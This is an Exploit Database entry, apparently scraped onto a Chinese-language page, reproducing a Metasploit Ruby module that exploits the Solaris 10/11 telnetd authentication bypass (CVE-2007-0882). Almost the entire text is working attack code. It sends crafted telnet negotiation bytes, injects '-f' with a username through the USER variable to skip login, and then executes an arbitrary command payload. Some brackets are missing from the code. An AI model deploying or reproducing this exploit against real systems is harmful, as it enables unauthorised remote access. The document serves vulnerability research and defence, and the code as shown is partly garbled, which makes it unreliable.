Sun Solaris Telnet – Remote Authentication Bypass (Metasploit)

Exploit Database
144 阅读

作者： Metasploit

日期： 2010-06-22
类别：
- remote
平台：
- solaris
来源：https://www.exploit-db.com/exploits/16328/

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# $Id: fuser.rb 9583 2010-06-22 19:11:05Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',

'Description'=> %q{

This module exploits the argument injection vulnerabilty

in the telnet daemon (in.telnetd) of Solaris 10 and 11.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9583 $',

'References' =>

[

[ 'CVE', '2007-0882' ],

[ 'OSVDB', '31881'],

[ 'BID', '22512' ],

'Privileged' => false,

'Platform' => ['unix', 'solaris'],

'Arch' => ARCH_CMD,

'Payload'=>

{

'Space'=> 2000,

'BadChars' => '',

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl telnet',

}

'Targets'=>

[

['Automatic', { }],

'DisclosureDate' => 'Feb 12 2007',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(23),

OptString.new('USER', [ true, "The username to use", "bin" ]),

], self.class)

end

def exploit

connect

print_status('Setting USER environment variable...')

req ="\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"

req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"

req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

sock.put(req)

sock.get_once

req << "\xFF\xFC\x25"

sock.put(req)

sock.get_once

req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

sock.put(req)

sock.get_once

req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

sock.put(req)

sock.get_once

req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

sock.put(req)

sock.get_once

req ="\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"

req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"

req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

sock.put(req)

sock.get_once

select(nil,nil,nil,0.25)

sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

select(nil,nil,nil,0.25)

handler

end